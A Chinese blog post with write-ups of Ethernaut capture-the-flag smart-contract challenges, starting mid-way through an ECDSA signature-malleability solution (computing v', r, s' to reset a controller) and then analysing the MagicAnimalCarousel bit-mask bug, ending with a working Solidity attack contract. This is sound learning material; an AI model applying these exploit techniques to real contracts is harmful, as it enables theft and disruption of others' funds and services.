0x20 上面0x00-0x1f中未存下的数据
0x40 msgHash = keccak("\x19Ethereum Signed Message:\n32" + lockId) 输入参数
0x60 v 输入参数
0x80 r 输入参数
0xa0 s 输入参数
assembly {
    if iszero(returndatasize()) {
        mstore(0x00, 0x8baa579f) // `InvalidSignature()`.
        revert(0x1c, 0x04)
    }
    initialController := mload(0x00)
    mstore(0x40, add(ptr, 128))
}

检查返回值是0的话直接报错InvalidSignature(),不是0的话则将返回值赋值给initialController,然后将msgHash清零(因为ptr + 128处并未有值);

// Invalidate signature
usedSignatures[keccak256(_signature)] = true;

// Set the controller
controller = initialController;

// emit LockInitializated
emit LockInitializated(initialController, block.timestamp);

最后就是设置已经使用过该签名、设置controller,释放LockInitializated

但这边好像也没什么能够使任何人能够开门,我们根本控制不了这边,继续往下分析函数;

open()函数验证签名,并打开门;

changeController()函数验证签名,改变controller

_isValidSignature()内部函数检查控制者和签名是否使用过;

我们发现open()changeController()都会使用_isValidSignature(),且不知道正确签名的人该函数会返回null,也就是全0,那么我们只需调用changeController()函数将其设置为0x00...00即可;

由题目所知,计算哈希的方法是ECDSA-椭圆曲线签名算法(此处就不展开说),它是基于椭圆曲线的,关于x轴对称,也就是说,一个x值会对应两个y值:

image-20250302011938013

一个签名对应的一对(v, r, s),同时也会有另一对(v', r, s');接下来我们要做的,就是根据现有的(v, r, s)找出(v', r, s')

以太坊底层签名与校验技术

首先就是v,以太坊中v的值是0或1,但需要加上27,也就是,v只能是27或28;

其次是s,有公式s' = -s mod n,也就是s' = n - s,并且以太坊中的n是一个固定的质数:

0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

下面就用到了之前事件中的值:

v(偏移0x60):0x000000000000000000000000000000000000000000000000000000000000001b

r(偏移0x20):0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b91

s(偏移0x40):0x78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff2

按照上面的分析来计算:

v':0x000000000000000000000000000000000000000000000000000000000000001c

r:0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b91

s':0x87b7639b5f24e93bf106794133370f950d5e9b00f5b5c8cbd866a487529b814f

所以我们只需调用changeController()函数,输入正确的(v', r, s'),将controller变更为0x0000000000000000000000000000000000000000即可;

攻击

image-20250302014852373

要求:

使旋转木马停止工作;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

contract MagicAnimalCarousel {
    uint16 constant public MAX_CAPACITY = type(uint16).max;
    uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16;
    uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160;
    uint256 constant OWNER_MASK = uint256(type(uint160).max);

    uint256 public currentCrateId;
    mapping(uint256 crateId => uint256 animalInside) public carousel;

    error AnimalNameTooLong();

    constructor() {
        carousel[0] ^= 1 << 160;
    }

    function setAnimalAndSpin(string calldata animal) external {
        uint256 encodedAnimal = encodeAnimalName(animal) >> 16;
        uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;

        require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());
        carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
            | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);

        currentCrateId = nextCrateId;
    }

    function changeAnimal(string calldata animal, uint256 crateId) external {
        address owner = address(uint160(carousel[crateId] & OWNER_MASK));
        if (owner != address(0)) {
            require(msg.sender == owner);
        }
        uint256 encodedAnimal = encodeAnimalName(animal);
        if (encodedAnimal != 0) {
            // Replace animal
            carousel[crateId] =
                (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender); 
        } else {
            // If no animal specified keep same animal but clear owner slot
            carousel[crateId]= (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
        }
    }

    function encodeAnimalName(string calldata animalName) public pure returns (uint256) {
        require(bytes(animalName).length <= 12, AnimalNameTooLong());
        return uint256(bytes32(abi.encodePacked(animalName)) >> 160);
    }
}

分析

题目很抽象,读了好几遍都没懂,所以直接从头开始分析合约;

先从构造函数开始:

constructor() {
    carousel[0] ^= 1 << 160;
}

carousel[0]的值为0x10000000000000000000000000000000000000000

接着看几个常量:

0xffff:MAX_CAPACITY,最大数量;

0xffffffffffffffffffff00000000000000000000000000000000000000000000:ANIMAL_MASK,可以理解为动物身份;

0x00000000000000000000ffff0000000000000000000000000000000000000000:NEXT_ID_MASK,下一个动物的身份ID;

0x000000000000000000000000ffffffffffffffffffffffffffffffffffffffff:OWNER_MASK,拥有者身份;

此处将几个常量都扩充成256位,因为这样能看得更清楚;

此处相当于3个模式匹配串,当一个256位的值与其相与,便会得到相应的动物身份、下一个动物的ID、拥有者身份;

image-20250305002020783

下面先看encodeAnimalName()函数:

function encodeAnimalName(string calldata animalName) public pure returns (uint256) {
    require(bytes(animalName).length <= 12, AnimalNameTooLong());
    return uint256(bytes32(abi.encodePacked(animalName)) >> 160);
}

光看不是很能理解,直接示例解释,比如输入"WZM":

encodePacked后:0x575a4d0000000000000000000000000000000000000000000000000000000000

右移160位 后:0x575a4d000000000000000000

也就是说,该函数取字符串encode后的前12字节;

往上联系,会得到动物身份和下一个动物的身份ID;

接着看setAnimalAndSpin()函数:

function setAnimalAndSpin(string calldata animal) external {
    uint256 encodedAnimal = encodeAnimalName(animal) >> 16;
    uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;

    require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());
    carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
        | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);

    currentCrateId = nextCrateId;
}

encodeAnimalencodeAnimalName()后得到的12字节后,舍弃最后的2字节,取前10字节,得到动物身份

nextCrateId:得到下一个动物身份ID

(carousel[nextCrateId] & ~NEXT_ID_MASK):清空下一个动物身份ID;

^ (encodedAnimal << 160 + 16):得到需要增加的动物的身份;

((nextCrateId + 1) % MAX_CAPACITY) << 160:动物身份ID递增1,并且左移到该在的位置;

uint160(msg.sender):消息发送者为动物拥有者;

这三个式子中间的|可以理解为是用来连接3个数值的,类似100 | 020 | 003 => 123

该函数就是新设置一个动物进去,同时设置动物身份、下一个动物的ID、动物拥有者;

最后看changeAnimal()函数:

function changeAnimal(string calldata animal, uint256 crateId) external {
    address owner = address(uint160(carousel[crateId] & OWNER_MASK));
    if (owner != address(0)) {
        require(msg.sender == owner);
    }
    uint256 encodedAnimal = encodeAnimalName(animal);
    if (encodedAnimal != 0) {
        // Replace animal
        carousel[crateId] =
            (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender); 
    } else {
        // If no animal specified keep same animal but clear owner slot
        carousel[crateId]= (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
    }
}

首先得到动物拥有者owner,检查其不为0,得到需要更改的动物身份和下一个动物的身份IDencodedAnimal,最后重新赋值动物身份,其余位置不变;

合约已经全部详细分析完了,可以发现encodeAnimalName()函数得到的是动物身份和下一个动物身份ID,并且在changeAnimal时,并未正确的向左移160 + 16位,所以我们调用changeAnimal()时,可以改变下一个动物身份ID,并且动物最大数量是0xffff,而记录的nextCrateIduint256,再往上加是有溢出的;

  1. 我们先加一个动物"WZM",它自己的currentID是1,此时的Next_ID是2:

carousel[0x0001] = 0x575a4d0000000000000000027148c25a8c78b841f771b2b2eead6a6220718390;

  1. 调用changeAnimal(),更改currentID为0x0001的动物,并且将Next_ID设置为0xffff,并且0xffff | 0x0002 = 0xffff,此时的值为:

carousel[0x0001] = 0xffffffffffffffffffffffff7148c25a8c78b841f771b2b2eead6a6220718390;

  1. 接着再增加一个新的动物"AAA"进来时,currentID为0xffff,此时的Next_ID为(0xffff + 1) % 0xffff = 1

carousel[0xffff] = 0x4141410000000000000000017148c25a8c78b841f771b2b2eead6a6220718390;

  1. 当再有一个动物"BBB"进来时,此时的currentID为0x0001,并且Next_ID为0x0002,只要名字不是写满10字节,后面便会有第2步中污染的数据"f";

carousel[0x0001] = 0xbdbdbdffffffffffffff00027148c25a8c78b841f771b2b2eead6a6220718390;

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import "./Ethernaut.sol";

contract Exp {
    MagicAnimalCarousel mac;
    constructor(address addr){
        mac = MagicAnimalCarousel(addr);
    }
    function Attack() public {
        mac.setAnimalAndSpin("WZM");
        uint256 currentID = mac.currentCrateId();
        bytes memory strBytes = new bytes(12);
        for (uint i = 0; i < 12; i++) {
            strBytes[i] = bytes1(0xff);
        }
        string memory createString = string(strBytes);
        mac.changeAnimal(createString, currentID);
        mac.setAnimalAndSpin("AAA");
    }
}

image-20250305021446844

posted @ 2025-03-06 02:28  -WZM-  阅读(467)  评论(0)    收藏  举报